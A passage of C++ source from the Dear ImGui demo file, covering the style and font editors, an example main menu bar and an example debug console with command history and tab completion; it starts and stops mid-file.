(io.ConfigWindowsMemoryCompactTimer >= 0.0f) ImGui::Text("io.ConfigWindowsMemoryCompactTimer = %.1ff", io.ConfigWindowsMemoryCompactTimer); ImGui::Text("io.BackendFlags: 0x%08X", io.BackendFlags); if (io.BackendFlags & ImGuiBackendFlags_HasGamepad) ImGui::Text(" HasGamepad"); if (io.BackendFlags & ImGuiBackendFlags_HasMouseCursors) ImGui::Text(" HasMouseCursors"); if (io.BackendFlags & ImGuiBackendFlags_HasSetMousePos) ImGui::Text(" HasSetMousePos"); if (io.BackendFlags & ImGuiBackendFlags_RendererHasVtxOffset) ImGui::Text(" RendererHasVtxOffset"); ImGui::Separator(); ImGui::Text("io.Fonts: %d fonts, Flags: 0x%08X, TexSize: %d,%d", io.Fonts->Fonts.Size, io.Fonts->Flags, io.Fonts->TexWidth, io.Fonts->TexHeight); ImGui::Text("io.DisplaySize: %.2f,%.2f", io.DisplaySize.x, io.DisplaySize.y); ImGui::Text("io.DisplayFramebufferScale: %.2f,%.2f", io.DisplayFramebufferScale.x, io.DisplayFramebufferScale.y); ImGui::Separator(); ImGui::Text("style.WindowPadding: %.2f,%.2f", style.WindowPadding.x, style.WindowPadding.y); ImGui::Text("style.WindowBorderSize: %.2f", style.WindowBorderSize); ImGui::Text("style.FramePadding: %.2f,%.2f", style.FramePadding.x, style.FramePadding.y); ImGui::Text("style.FrameRounding: %.2f", style.FrameRounding); ImGui::Text("style.FrameBorderSize: %.2f", style.FrameBorderSize); ImGui::Text("style.ItemSpacing: %.2f,%.2f", style.ItemSpacing.x, style.ItemSpacing.y); ImGui::Text("style.ItemInnerSpacing: %.2f,%.2f", style.ItemInnerSpacing.x, style.ItemInnerSpacing.y); if (copy_to_clipboard) { ImGui::LogText("\n```\n"); ImGui::LogFinish(); } ImGui::EndChildFrame(); } ImGui::End(); } //----------------------------------------------------------------------------- // [SECTION] Style Editor / ShowStyleEditor() //----------------------------------------------------------------------------- // - ShowStyleSelector() // - ShowFontSelector() // - ShowStyleEditor() //----------------------------------------------------------------------------- // Demo helper function to select among default colors. See ShowStyleEditor() for more advanced options. // Here we use the simplified Combo() api that packs items into a single literal string. Useful for quick combo boxes where the choices are known locally. bool ImGui::ShowStyleSelector(const char* label) { static int style_idx = -1; if (ImGui::Combo(label, &style_idx, "Classic\0Dark\0Light\0")) { switch (style_idx) { case 0: ImGui::StyleColorsClassic(); break; case 1: ImGui::StyleColorsDark(); break; case 2: ImGui::StyleColorsLight(); break; } return true; } return false; } // Demo helper function to select among loaded fonts. // Here we use the regular BeginCombo()/EndCombo() api which is more the more flexible one. void ImGui::ShowFontSelector(const char* label) { ImGuiIO& io = ImGui::GetIO(); ImFont* font_current = ImGui::GetFont(); if (ImGui::BeginCombo(label, font_current->GetDebugName())) { for (int n = 0; n < io.Fonts->Fonts.Size; n++) { ImFont* font = io.Fonts->Fonts[n]; ImGui::PushID((void*)font); if (ImGui::Selectable(font->GetDebugName(), font == font_current)) io.FontDefault = font; ImGui::PopID(); } ImGui::EndCombo(); } ImGui::SameLine(); HelpMarker( "- Load additional fonts with io.Fonts->AddFontFromFileTTF().\n" "- The font atlas is built when calling io.Fonts->GetTexDataAsXXXX() or io.Fonts->Build().\n" "- Read FAQ and docs/FONTS.txt for more details.\n" "- If you need to add/remove fonts at runtime (e.g. for DPI change), do it before calling NewFrame()."); } void ImGui::ShowStyleEditor(ImGuiStyle* ref) { // You can pass in a reference ImGuiStyle structure to compare to, revert to and save to (else it compares to an internally stored reference) ImGuiStyle& style = ImGui::GetStyle(); static ImGuiStyle ref_saved_style; // Default to using internal storage as reference static bool init = true; if (init && ref == NULL) ref_saved_style = style; init = false; if (ref == NULL) ref = &ref_saved_style; ImGui::PushItemWidth(ImGui::GetWindowWidth() * 0.50f); if (ImGui::ShowStyleSelector("Colors##Selector")) ref_saved_style = style; ImGui::ShowFontSelector("Fonts##Selector"); // Simplified Settings if (ImGui::SliderFloat("FrameRounding", &style.FrameRounding, 0.0f, 12.0f, "%.0f")) style.GrabRounding = style.FrameRounding; // Make GrabRounding always the same value as FrameRounding { bool window_border = (style.WindowBorderSize > 0.0f); if (ImGui::Checkbox("WindowBorder", &window_border)) style.WindowBorderSize = window_border ? 1.0f : 0.0f; } ImGui::SameLine(); { bool frame_border = (style.FrameBorderSize > 0.0f); if (ImGui::Checkbox("FrameBorder", &frame_border)) style.FrameBorderSize = frame_border ? 1.0f : 0.0f; } ImGui::SameLine(); { bool popup_border = (style.PopupBorderSize > 0.0f); if (ImGui::Checkbox("PopupBorder", &popup_border)) style.PopupBorderSize = popup_border ? 1.0f : 0.0f; } // Save/Revert button if (ImGui::Button("Save Ref")) *ref = ref_saved_style = style; ImGui::SameLine(); if (ImGui::Button("Revert Ref")) style = *ref; ImGui::SameLine(); HelpMarker("Save/Revert in local non-persistent storage. Default Colors definition are not affected. Use \"Export\" below to save them somewhere."); ImGui::Separator(); if (ImGui::BeginTabBar("##tabs", ImGuiTabBarFlags_None)) { if (ImGui::BeginTabItem("Sizes")) { ImGui::Text("Main"); ImGui::SliderFloat2("WindowPadding", (float*)&style.WindowPadding, 0.0f, 20.0f, "%.0f"); ImGui::SliderFloat2("FramePadding", (float*)&style.FramePadding, 0.0f, 20.0f, "%.0f"); ImGui::SliderFloat2("ItemSpacing", (float*)&style.ItemSpacing, 0.0f, 20.0f, "%.0f"); ImGui::SliderFloat2("ItemInnerSpacing", (float*)&style.ItemInnerSpacing, 0.0f, 20.0f, "%.0f"); ImGui::SliderFloat2("TouchExtraPadding", (float*)&style.TouchExtraPadding, 0.0f, 10.0f, "%.0f"); ImGui::SliderFloat("IndentSpacing", &style.IndentSpacing, 0.0f, 30.0f, "%.0f"); ImGui::SliderFloat("ScrollbarSize", &style.ScrollbarSize, 1.0f, 20.0f, "%.0f"); ImGui::SliderFloat("GrabMinSize", &style.GrabMinSize, 1.0f, 20.0f, "%.0f"); ImGui::Text("Borders"); ImGui::SliderFloat("WindowBorderSize", &style.WindowBorderSize, 0.0f, 1.0f, "%.0f"); ImGui::SliderFloat("ChildBorderSize", &style.ChildBorderSize, 0.0f, 1.0f, "%.0f"); ImGui::SliderFloat("PopupBorderSize", &style.PopupBorderSize, 0.0f, 1.0f, "%.0f"); ImGui::SliderFloat("FrameBorderSize", &style.FrameBorderSize, 0.0f, 1.0f, "%.0f"); ImGui::SliderFloat("TabBorderSize", &style.TabBorderSize, 0.0f, 1.0f, "%.0f"); ImGui::Text("Rounding"); ImGui::SliderFloat("WindowRounding", &style.WindowRounding, 0.0f, 12.0f, "%.0f"); ImGui::SliderFloat("ChildRounding", &style.ChildRounding, 0.0f, 12.0f, "%.0f"); ImGui::SliderFloat("FrameRounding", &style.FrameRounding, 0.0f, 12.0f, "%.0f"); ImGui::SliderFloat("PopupRounding", &style.PopupRounding, 0.0f, 12.0f, "%.0f"); ImGui::SliderFloat("ScrollbarRounding", &style.ScrollbarRounding, 0.0f, 12.0f, "%.0f"); ImGui::SliderFloat("GrabRounding", &style.GrabRounding, 0.0f, 12.0f, "%.0f"); ImGui::SliderFloat("TabRounding", &style.TabRounding, 0.0f, 12.0f, "%.0f"); ImGui::Text("Alignment"); ImGui::SliderFloat2("WindowTitleAlign", (float*)&style.WindowTitleAlign, 0.0f, 1.0f, "%.2f"); int window_menu_button_position = style.WindowMenuButtonPosition + 1; if (ImGui::Combo("WindowMenuButtonPosition", (int*)&window_menu_button_position, "None\0Left\0Right\0")) style.WindowMenuButtonPosition = window_menu_button_position - 1; ImGui::Combo("ColorButtonPosition", (int*)&style.ColorButtonPosition, "Left\0Right\0"); ImGui::SliderFloat2("ButtonTextAlign", (float*)&style.ButtonTextAlign, 0.0f, 1.0f, "%.2f"); ImGui::SameLine(); HelpMarker("Alignment applies when a button is larger than its text content."); ImGui::SliderFloat2("SelectableTextAlign", (float*)&style.SelectableTextAlign, 0.0f, 1.0f, "%.2f"); ImGui::SameLine(); HelpMarker("Alignment applies when a selectable is larger than its text content."); ImGui::Text("Safe Area Padding"); ImGui::SameLine(); HelpMarker("Adjust if you cannot see the edges of your screen (e.g. on a TV where scaling has not been configured)."); ImGui::SliderFloat2("DisplaySafeAreaPadding", (float*)&style.DisplaySafeAreaPadding, 0.0f, 30.0f, "%.0f"); ImGui::EndTabItem(); } if (ImGui::BeginTabItem("Colors")) { static int output_dest = 0; static bool output_only_modified = true; if (ImGui::Button("Export")) { if (output_dest == 0) ImGui::LogToClipboard(); else ImGui::LogToTTY(); ImGui::LogText("ImVec4* colors = ImGui::GetStyle().Colors;" IM_NEWLINE); for (int i = 0; i < ImGuiCol_COUNT; i++) { const ImVec4& col = style.Colors[i]; const char* name = ImGui::GetStyleColorName(i); if (!output_only_modified || memcmp(&col, &ref->Colors[i], sizeof(ImVec4)) != 0) ImGui::LogText("colors[ImGuiCol_%s]%*s= ImVec4(%.2ff, %.2ff, %.2ff, %.2ff);" IM_NEWLINE, name, 23 - (int)strlen(name), "", col.x, col.y, col.z, col.w); } ImGui::LogFinish(); } ImGui::SameLine(); ImGui::SetNextItemWidth(120); ImGui::Combo("##output_type", &output_dest, "To Clipboard\0To TTY\0"); ImGui::SameLine(); ImGui::Checkbox("Only Modified Colors", &output_only_modified); static ImGuiTextFilter filter; filter.Draw("Filter colors", ImGui::GetFontSize() * 16); static ImGuiColorEditFlags alpha_flags = 0; ImGui::RadioButton("Opaque", &alpha_flags, 0); ImGui::SameLine(); ImGui::RadioButton("Alpha", &alpha_flags, ImGuiColorEditFlags_AlphaPreview); ImGui::SameLine(); ImGui::RadioButton("Both", &alpha_flags, ImGuiColorEditFlags_AlphaPreviewHalf); ImGui::SameLine(); HelpMarker("In the color list:\nLeft-click on colored square to open color picker,\nRight-click to open edit options menu."); ImGui::BeginChild("##colors", ImVec2(0, 0), true, ImGuiWindowFlags_AlwaysVerticalScrollbar | ImGuiWindowFlags_AlwaysHorizontalScrollbar | ImGuiWindowFlags_NavFlattened); ImGui::PushItemWidth(-160); for (int i = 0; i < ImGuiCol_COUNT; i++) { const char* name = ImGui::GetStyleColorName(i); if (!filter.PassFilter(name)) continue; ImGui::PushID(i); ImGui::ColorEdit4("##color", (float*)&style.Colors[i], ImGuiColorEditFlags_AlphaBar | alpha_flags); if (memcmp(&style.Colors[i], &ref->Colors[i], sizeof(ImVec4)) != 0) { // Tips: in a real user application, you may want to merge and use an icon font into the main font, so instead of "Save"/"Revert" you'd use icons. // Read the FAQ and docs/FONTS.txt about using icon fonts. It's really easy and super convenient! ImGui::SameLine(0.0f, style.ItemInnerSpacing.x); if (ImGui::Button("Save")) ref->Colors[i] = style.Colors[i]; ImGui::SameLine(0.0f, style.ItemInnerSpacing.x); if (ImGui::Button("Revert")) style.Colors[i] = ref->Colors[i]; } ImGui::SameLine(0.0f, style.ItemInnerSpacing.x); ImGui::TextUnformatted(name); ImGui::PopID(); } ImGui::PopItemWidth(); ImGui::EndChild(); ImGui::EndTabItem(); } if (ImGui::BeginTabItem("Fonts")) { ImGuiIO& io = ImGui::GetIO(); ImFontAtlas* atlas = io.Fonts; HelpMarker("Read FAQ and docs/FONTS.txt for details on font loading."); ImGui::PushItemWidth(120); for (int i = 0; i < atlas->Fonts.Size; i++) { ImFont* font = atlas->Fonts[i]; ImGui::PushID(font); bool font_details_opened = ImGui::TreeNode(font, "Font %d: \"%s\"\n%.2f px, %d glyphs, %d file(s)", i, font->ConfigData ? font->ConfigData[0].Name : "", font->FontSize, font->Glyphs.Size, font->ConfigDataCount); ImGui::SameLine(); if (ImGui::SmallButton("Set as default")) { io.FontDefault = font; } if (font_details_opened) { ImGui::PushFont(font); ImGui::Text("The quick brown fox jumps over the lazy dog"); ImGui::PopFont(); ImGui::DragFloat("Font scale", &font->Scale, 0.005f, 0.3f, 2.0f, "%.1f"); // Scale only this font ImGui::SameLine(); HelpMarker("Note than the default embedded font is NOT meant to be scaled.\n\nFont are currently rendered into bitmaps at a given size at the time of building the atlas. You may oversample them to get some flexibility with scaling. You can also render at multiple sizes and select which one to use at runtime.\n\n(Glimmer of hope: the atlas system should hopefully be rewritten in the future to make scaling more natural and automatic.)"); ImGui::InputFloat("Font offset", &font->DisplayOffset.y, 1, 1, "%.0f"); ImGui::Text("Ascent: %f, Descent: %f, Height: %f", font->Ascent, font->Descent, font->Ascent - font->Descent); ImGui::Text("Fallback character: '%c' (U+%04X)", font->FallbackChar, font->FallbackChar); ImGui::Text("Ellipsis character: '%c' (U+%04X)", font->EllipsisChar, font->EllipsisChar); const float surface_sqrt = sqrtf((float)font->MetricsTotalSurface); ImGui::Text("Texture Area: about %d px ~%dx%d px", font->MetricsTotalSurface, (int)surface_sqrt, (int)surface_sqrt); for (int config_i = 0; config_i < font->ConfigDataCount; config_i++) if (const ImFontConfig* cfg = &font->ConfigData[config_i]) ImGui::BulletText("Input %d: \'%s\', Oversample: (%d,%d), PixelSnapH: %d", config_i, cfg->Name, cfg->OversampleH, cfg->OversampleV, cfg->PixelSnapH); if (ImGui::TreeNode("Glyphs", "Glyphs (%d)", font->Glyphs.Size)) { // Display all glyphs of the fonts in separate pages of 256 characters for (unsigned int base = 0; base <= IM_UNICODE_CODEPOINT_MAX; base += 256) { int count = 0; for (unsigned int n = 0; n < 256; n++) count += font->FindGlyphNoFallback((ImWchar)(base + n)) ? 1 : 0; if (count > 0 && ImGui::TreeNode((void*)(intptr_t)base, "U+%04X..U+%04X (%d %s)", base, base + 255, count, count > 1 ? "glyphs" : "glyph")) { float cell_size = font->FontSize * 1; float cell_spacing = style.ItemSpacing.y; ImVec2 base_pos = ImGui::GetCursorScreenPos(); ImDrawList* draw_list = ImGui::GetWindowDrawList(); for (unsigned int n = 0; n < 256; n++) { ImVec2 cell_p1(base_pos.x + (n % 16) * (cell_size + cell_spacing), base_pos.y + (n / 16) * (cell_size + cell_spacing)); ImVec2 cell_p2(cell_p1.x + cell_size, cell_p1.y + cell_size); const ImFontGlyph* glyph = font->FindGlyphNoFallback((ImWchar)(base + n)); draw_list->AddRect(cell_p1, cell_p2, glyph ? IM_COL32(255, 255, 255, 100) : IM_COL32(255, 255, 255, 50)); if (glyph) font->RenderChar(draw_list, cell_size, cell_p1, ImGui::GetColorU32(ImGuiCol_Text), (ImWchar)(base + n)); // We use ImFont::RenderChar as a shortcut because we don't have UTF-8 conversion functions available to generate a string. if (glyph && ImGui::IsMouseHoveringRect(cell_p1, cell_p2)) { ImGui::BeginTooltip(); ImGui::Text("Codepoint: U+%04X", base + n); ImGui::Separator(); ImGui::Text("AdvanceX: %.1f", glyph->AdvanceX); ImGui::Text("Pos: (%.2f,%.2f)->(%.2f,%.2f)", glyph->X0, glyph->Y0, glyph->X1, glyph->Y1); ImGui::Text("UV: (%.3f,%.3f)->(%.3f,%.3f)", glyph->U0, glyph->V0, glyph->U1, glyph->V1); ImGui::EndTooltip(); } } ImGui::Dummy(ImVec2((cell_size + cell_spacing) * 16, (cell_size + cell_spacing) * 16)); ImGui::TreePop(); } } ImGui::TreePop(); } ImGui::TreePop(); } ImGui::PopID(); } if (ImGui::TreeNode("Atlas texture", "Atlas texture (%dx%d pixels)", atlas->TexWidth, atlas->TexHeight)) { ImVec4 tint_col = ImVec4(1.0f, 1.0f, 1.0f, 1.0f); ImVec4 border_col = ImVec4(1.0f, 1.0f, 1.0f, 0.5f); ImGui::Image(atlas->TexID, ImVec2((float)atlas->TexWidth, (float)atlas->TexHeight), ImVec2(0, 0), ImVec2(1, 1), tint_col, border_col); ImGui::TreePop(); } HelpMarker("Those are old settings provided for convenience.\nHowever, the _correct_ way of scaling your UI is currently to reload your font at the designed size, rebuild the font atlas, and call style.ScaleAllSizes() on a reference ImGuiStyle structure."); static float window_scale = 1.0f; if (ImGui::DragFloat("window scale", &window_scale, 0.005f, 0.3f, 2.0f, "%.2f")) // scale only this window ImGui::SetWindowFontScale(window_scale); ImGui::DragFloat("global scale", &io.FontGlobalScale, 0.005f, 0.3f, 2.0f, "%.2f"); // scale everything ImGui::PopItemWidth(); ImGui::EndTabItem(); } if (ImGui::BeginTabItem("Rendering")) { ImGui::Checkbox("Anti-aliased lines", &style.AntiAliasedLines); ImGui::SameLine(); HelpMarker("When disabling anti-aliasing lines, you'll probably want to disable borders in your style as well."); ImGui::Checkbox("Anti-aliased fill", &style.AntiAliasedFill); ImGui::PushItemWidth(100); ImGui::DragFloat("Curve Tessellation Tolerance", &style.CurveTessellationTol, 0.02f, 0.10f, FLT_MAX, "%.2f", 2.0f); if (style.CurveTessellationTol < 0.10f) style.CurveTessellationTol = 0.10f; ImGui::DragFloat("Global Alpha", &style.Alpha, 0.005f, 0.20f, 1.0f, "%.2f"); // Not exposing zero here so user doesn't "lose" the UI (zero alpha clips all widgets). But application code could have a toggle to switch between zero and non-zero. ImGui::PopItemWidth(); ImGui::EndTabItem(); } ImGui::EndTabBar(); } ImGui::PopItemWidth(); } //----------------------------------------------------------------------------- // [SECTION] Example App: Main Menu Bar / ShowExampleAppMainMenuBar() //----------------------------------------------------------------------------- // - ShowExampleAppMainMenuBar() // - ShowExampleMenuFile() //----------------------------------------------------------------------------- // Demonstrate creating a "main" fullscreen menu bar and populating it. // Note the difference between BeginMainMenuBar() and BeginMenuBar(): // - BeginMenuBar() = menu-bar inside current window we Begin()-ed into (the window needs the ImGuiWindowFlags_MenuBar flag) // - BeginMainMenuBar() = helper to create menu-bar-sized window at the top of the main viewport + call BeginMenuBar() into it. static void ShowExampleAppMainMenuBar() { if (ImGui::BeginMainMenuBar()) { if (ImGui::BeginMenu("File")) { ShowExampleMenuFile(); ImGui::EndMenu(); } if (ImGui::BeginMenu("Edit")) { if (ImGui::MenuItem("Undo", "CTRL+Z")) {} if (ImGui::MenuItem("Redo", "CTRL+Y", false, false)) {} // Disabled item ImGui::Separator(); if (ImGui::MenuItem("Cut", "CTRL+X")) {} if (ImGui::MenuItem("Copy", "CTRL+C")) {} if (ImGui::MenuItem("Paste", "CTRL+V")) {} ImGui::EndMenu(); } ImGui::EndMainMenuBar(); } } // Note that shortcuts are currently provided for display only (future version will add flags to BeginMenu to process shortcuts) static void ShowExampleMenuFile() { ImGui::MenuItem("(dummy menu)", NULL, false, false); if (ImGui::MenuItem("New")) {} if (ImGui::MenuItem("Open", "Ctrl+O")) {} if (ImGui::BeginMenu("Open Recent")) { ImGui::MenuItem("fish_hat.c"); ImGui::MenuItem("fish_hat.inl"); ImGui::MenuItem("fish_hat.h"); if (ImGui::BeginMenu("More..")) { ImGui::MenuItem("Hello"); ImGui::MenuItem("Sailor"); if (ImGui::BeginMenu("Recurse..")) { ShowExampleMenuFile(); ImGui::EndMenu(); } ImGui::EndMenu(); } ImGui::EndMenu(); } if (ImGui::MenuItem("Save", "Ctrl+S")) {} if (ImGui::MenuItem("Save As..")) {} ImGui::Separator(); if (ImGui::BeginMenu("Options")) { static bool enabled = true; ImGui::MenuItem("Enabled", "", &enabled); ImGui::BeginChild("child", ImVec2(0, 60), true); for (int i = 0; i < 10; i++) ImGui::Text("Scrolling Text %d", i); ImGui::EndChild(); static float f = 0.5f; static int n = 0; static bool b = true; ImGui::SliderFloat("Value", &f, 0.0f, 1.0f); ImGui::InputFloat("Input", &f, 0.1f); ImGui::Combo("Combo", &n, "Yes\0No\0Maybe\0\0"); ImGui::Checkbox("Check", &b); ImGui::EndMenu(); } if (ImGui::BeginMenu("Colors")) { float sz = ImGui::GetTextLineHeight(); for (int i = 0; i < ImGuiCol_COUNT; i++) { const char* name = ImGui::GetStyleColorName((ImGuiCol)i); ImVec2 p = ImGui::GetCursorScreenPos(); ImGui::GetWindowDrawList()->AddRectFilled(p, ImVec2(p.x+sz, p.y+sz), ImGui::GetColorU32((ImGuiCol)i)); ImGui::Dummy(ImVec2(sz, sz)); ImGui::SameLine(); ImGui::MenuItem(name); } ImGui::EndMenu(); } if (ImGui::BeginMenu("Disabled", false)) // Disabled { IM_ASSERT(0); } if (ImGui::MenuItem("Checked", NULL, true)) {} if (ImGui::MenuItem("Quit", "Alt+F4")) {} } //----------------------------------------------------------------------------- // [SECTION] Example App: Debug Console / ShowExampleAppConsole() //----------------------------------------------------------------------------- // Demonstrate creating a simple console window, with scrolling, filtering, completion and history. // For the console example, here we are using a more C++ like approach of declaring a class to hold the data and the functions. struct ExampleAppConsole { char InputBuf[256]; ImVector<char*> Items; ImVector<const char*> Commands; ImVector<char*> History; int HistoryPos; // -1: new line, 0..History.Size-1 browsing history. ImGuiTextFilter Filter; bool AutoScroll; bool ScrollToBottom; ExampleAppConsole() { ClearLog(); memset(InputBuf, 0, sizeof(InputBuf)); HistoryPos = -1; Commands.push_back("HELP"); Commands.push_back("HISTORY"); Commands.push_back("CLEAR"); Commands.push_back("CLASSIFY"); // "classify" is only here to provide an example of "C"+[tab] completing to "CL" and displaying matches. AutoScroll = true; ScrollToBottom = false; AddLog("Welcome to Dear ImGui!"); } ~ExampleAppConsole() { ClearLog(); for (int i = 0; i < History.Size; i++) free(History[i]); } // Portable helpers static int Stricmp(const char* str1, const char* str2) { int d; while ((d = toupper(*str2) - toupper(*str1)) == 0 && *str1) { str1++; str2++; } return d; } static int Strnicmp(const char* str1, const char* str2, int n) { int d = 0; while (n > 0 && (d = toupper(*str2) - toupper(*str1)) == 0 && *str1) { str1++; str2++; n--; } return d; } static char* Strdup(const char *str) { size_t len = strlen(str) + 1; void* buf = malloc(len); IM_ASSERT(buf); return (char*)memcpy(buf, (const void*)str, len); } static void Strtrim(char* str) { char* str_end = str + strlen(str); while (str_end > str && str_end[-1] == ' ') str_end--; *str_end = 0; } void ClearLog() { for (int i = 0; i < Items.Size; i++) free(Items[i]); Items.clear(); } void AddLog(const char* fmt, ...) IM_FMTARGS(2) { // FIXME-OPT char buf[1024]; va_list args; va_start(args, fmt); vsnprintf(buf, IM_ARRAYSIZE(buf), fmt, args); buf[IM_ARRAYSIZE(buf)-1] = 0; va_end(args); Items.push_back(Strdup(buf)); } void Draw(const char* title, bool* p_open) { ImGui::SetNextWindowSize(ImVec2(520,600), ImGuiCond_FirstUseEver); if (!ImGui::Begin(title, p_open)) { ImGui::End(); return; } // As a specific feature guaranteed by the library, after calling Begin() the last Item represent the title bar. So e.g. IsItemHovered() will return true when hovering the title bar. // Here we create a context menu only available from the title bar. if (ImGui::BeginPopupContextItem()) { if (ImGui::MenuItem("Close Console")) *p_open = false; ImGui::EndPopup(); } ImGui::TextWrapped("This example implements a console with basic coloring, completion and history. A more elaborate implementation may want to store entries along with extra data such as timestamp, emitter, etc."); ImGui::TextWrapped("Enter 'HELP' for help, press TAB to use text completion."); // TODO: display items starting from the bottom if (ImGui::SmallButton("Add Dummy Text")) { AddLog("%d some text", Items.Size); AddLog("some more text"); AddLog("display very important message here!"); } ImGui::SameLine(); if (ImGui::SmallButton("Add Dummy Error")) { AddLog("[error] something went wrong"); } ImGui::SameLine(); if (ImGui::SmallButton("Clear")) { ClearLog(); } ImGui::SameLine(); bool copy_to_clipboard = ImGui::SmallButton("Copy"); //static float t = 0.0f; if (ImGui::GetTime() - t > 0.02f) { t = ImGui::GetTime(); AddLog("Spam %f", t); } ImGui::Separator(); // Options menu if (ImGui::BeginPopup("Options")) { ImGui::Checkbox("Auto-scroll", &AutoScroll); ImGui::EndPopup(); } // Options, Filter if (ImGui::Button("Options")) ImGui::OpenPopup("Options"); ImGui::SameLine(); Filter.Draw("Filter (\"incl,-excl\") (\"error\")", 180); ImGui::Separator(); const float footer_height_to_reserve = ImGui::GetStyle().ItemSpacing.y + ImGui::GetFrameHeightWithSpacing(); // 1 separator, 1 input text ImGui::BeginChild("ScrollingRegion", ImVec2(0, -footer_height_to_reserve), false, ImGuiWindowFlags_HorizontalScrollbar); // Leave room for 1 separator + 1 InputText if (ImGui::BeginPopupContextWindow()) { if (ImGui::Selectable("Clear")) ClearLog(); ImGui::EndPopup(); } // Display every line as a separate entry so we can change their color or add custom widgets. If you only want raw text you can use ImGui::TextUnformatted(log.begin(), log.end()); // NB- if you have thousands of entries this approach may be too inefficient and may require user-side clipping to only process visible items. // You can seek and display only the lines that are visible using the ImGuiListClipper helper, if your elements are evenly spaced and you have cheap random access to the elements. // To use the clipper we could replace the 'for (int i = 0; i < Items.Size; i++)' loop with: // ImGuiListClipper clipper(Items.Size); // while (clipper.Step()) // for (int i = clipper.DisplayStart; i < clipper.DisplayEnd; i++) // However, note that you can not use this code as is if a filter is active because it breaks the 'cheap random-access' property. We would need random-access on the post-filtered list. // A typical application wanting coarse clipping and filtering may want to pre-compute an array of indices that passed the filtering test, recomputing this array when user changes the filter, // and appending newly elements as they are inserted. This is left as a task to the user until we can manage to improve this example code! // If your items are of variable size you may want to implement code similar to what ImGuiListClipper does. Or split your data into fixed height items to allow random-seeking into your list. ImGui::PushStyleVar(ImGuiStyleVar_ItemSpacing, ImVec2(4,1)); // Tighten spacing if (copy_to_clipboard) ImGui::LogToClipboard(); for (int i = 0; i < Items.Size; i++) { const char* item = Items[i]; if (!Filter.PassFilter(item)) continue; // Normally you would store more information in your item (e.g. make Items[] an array of structure, store color/type etc.) bool pop_color = false; if (strstr(item, "[error]")) { ImGui::PushStyleColor(ImGuiCol_Text, ImVec4(1.0f, 0.4f, 0.4f, 1.0f)); pop_color = true; } else if (strncmp(item, "# ", 2) == 0) { ImGui::PushStyleColor(ImGuiCol_Text, ImVec4(1.0f, 0.8f, 0.6f, 1.0f)); pop_color = true; } ImGui::TextUnformatted(item); if (pop_color) ImGui::PopStyleColor(); } if (copy_to_clipboard) ImGui::LogFinish(); if (ScrollToBottom || (AutoScroll && ImGui::GetScrollY() >= ImGui::GetScrollMaxY())) ImGui::SetScrollHereY(1.0f); ScrollToBottom = false; ImGui::PopStyleVar(); ImGui::EndChild(); ImGui::Separator(); // Command-line bool reclaim_focus = false; if (ImGui::InputText("Input", InputBuf, IM_ARRAYSIZE(InputBuf), ImGuiInputTextFlags_EnterReturnsTrue|ImGuiInputTextFlags_CallbackCompletion|ImGuiInputTextFlags_CallbackHistory, &TextEditCallbackStub, (void*)this)) { char* s = InputBuf; Strtrim(s); if (s[0]) ExecCommand(s); strcpy(s, ""); reclaim_focus = true; } // Auto-focus on window apparition ImGui::SetItemDefaultFocus(); if (reclaim_focus) ImGui::SetKeyboardFocusHere(-1); // Auto focus previous widget ImGui::End(); } void ExecCommand(const char* command_line) { AddLog("# %s\n", command_line); // Insert into history. First find match and delete it so it can be pushed to the back. This isn't trying to be smart or optimal. HistoryPos = -1; for (int i = History.Size-1; i >= 0; i--) if (Stricmp(History[i], command_line) == 0) { free(History[i]); History.erase(History.begin() + i); break; } History.push_back(Strdup(command_line)); // Process command if (Stricmp(command_line, "CLEAR") == 0) { ClearLog(); } else if (Stricmp(command_line, "HELP") == 0) { AddLog("Commands:"); for (int i = 0; i < Commands.Size; i++) AddLog("- %s", Commands[i]); } else if (Stricmp(command_line, "HISTORY") == 0) { int first = History.Size - 10; for (int i = first > 0 ? first : 0; i < History.Size; i++) AddLog("%3d: %s\n", i, History[i]); } else { AddLog("Unknown command: '%s'\n", command_line); } // On commad input, we scroll to bottom even if AutoScroll==false ScrollToBottom = true; } static int TextEditCallbackStub(ImGuiInputTextCallbackData* data) // In C++11 you are better off using lambdas for this sort of forwarding callbacks { ExampleAppConsole* console = (ExampleAppConsole*)data->UserData; return console->TextEditCallback(data); } int TextEditCallback(ImGuiInputTextCallbackData* data) { //AddLog("cursor: %d, selection: %d-%d", data->CursorPos, data->SelectionStart, data->SelectionEnd); switch (data->EventFlag) { case ImGuiInputTextFlags_CallbackCompletion: { // Example of TEXT COMPLETION // Locate beginning of current word const char* word_end = data->Buf + data->CursorPos; const char* word_start = word_end; while (word_start > data->Buf) { const char c = word_start[-1]; if (c == ' ' || c == '\t' || c == ',' || c == ';') break; word_start--; } // Build a list of candidates ImVector<const char*> candidates; for (int i = 0; i < Commands.Size; i++) if (Strnicmp(Commands[i], word_start, (int)(word_end-word_start)) == 0) candidates.push_back(Commands[i]); if (candidates.Size == 0) { // No match AddLog("No match for \"%.*s\"!\n", (int)(word_end-word_start), word_start); } else if (candidates.Size == 1) { // Single match. Delete the beginning of the word and replace it entirely so we've got nice casing data->DeleteChars((int)(word_start-data->Buf), (int)(word_end-word_start)); data->InsertChars(data->CursorPos, candidates[0]); data->InsertChars(data->CursorPos, " "); } else { // Multiple matches. Complete as much as we can, so inputing "C" will complete to "CL" and display "CLEAR" and "CLASSIFY" int match_len = (int)(word_end - word_start); for (;;) { int c = 0; bool all_candidates_matches = true; for (int i = 0; i < candidates.Size && all_candidates_matches; i++) if (i == 0) c = toupper(candidates[i][match_len]); else if (c == 0 || c != toupper(candidates[i][match_len])) all_candidates_matches = false; if (!all_candidates_matches) break; match_len++; } if (match_len > 0) { data->DeleteChars((int)(word_start - data->Buf), (int)(word_end-word_start)); data->InsertChars(data->CursorPos, candidates[0], candidates[0] + match_len); } // List matches AddLog("Possible matches:\n"); for (int i = 0; i < candidates.Size; i++) AddLog("- %s\n", candidates[i]); } break; } case ImGuiInputTextFlags_CallbackHistory: { // Example of HISTORY const int prev_history_pos = HistoryPos; if (data->EventKey == ImGuiKey_UpArrow) { if (HistoryPos == -1) HistoryPos = History.Size - 1; else if (HistoryPos > 0) HistoryPos--; } else if (data->EventKey == ImGuiKey_DownArrow) { if (HistoryPos != -1) if (++HistoryPos >= History.Size) HistoryPos = -1; } // A better implementation would preserve the data on the current input line along with cursor position. if (prev_history_pos != HistoryPos) { const char* history_str = (HistoryPos >= 0) ? History[HistoryPos] : ""; data->DeleteChars(0, data->BufTextLen); data->InsertChars(0, history_str); } } } return 0; } }; static void ShowExampleAppConsole(bool* p_open) { static ExampleAppConsole console; console.Draw("Example: Console", p_open); } //----------------------------------------------------------------------------- // [SECTION] Example App: Debug Log / ShowExampleAppLog() 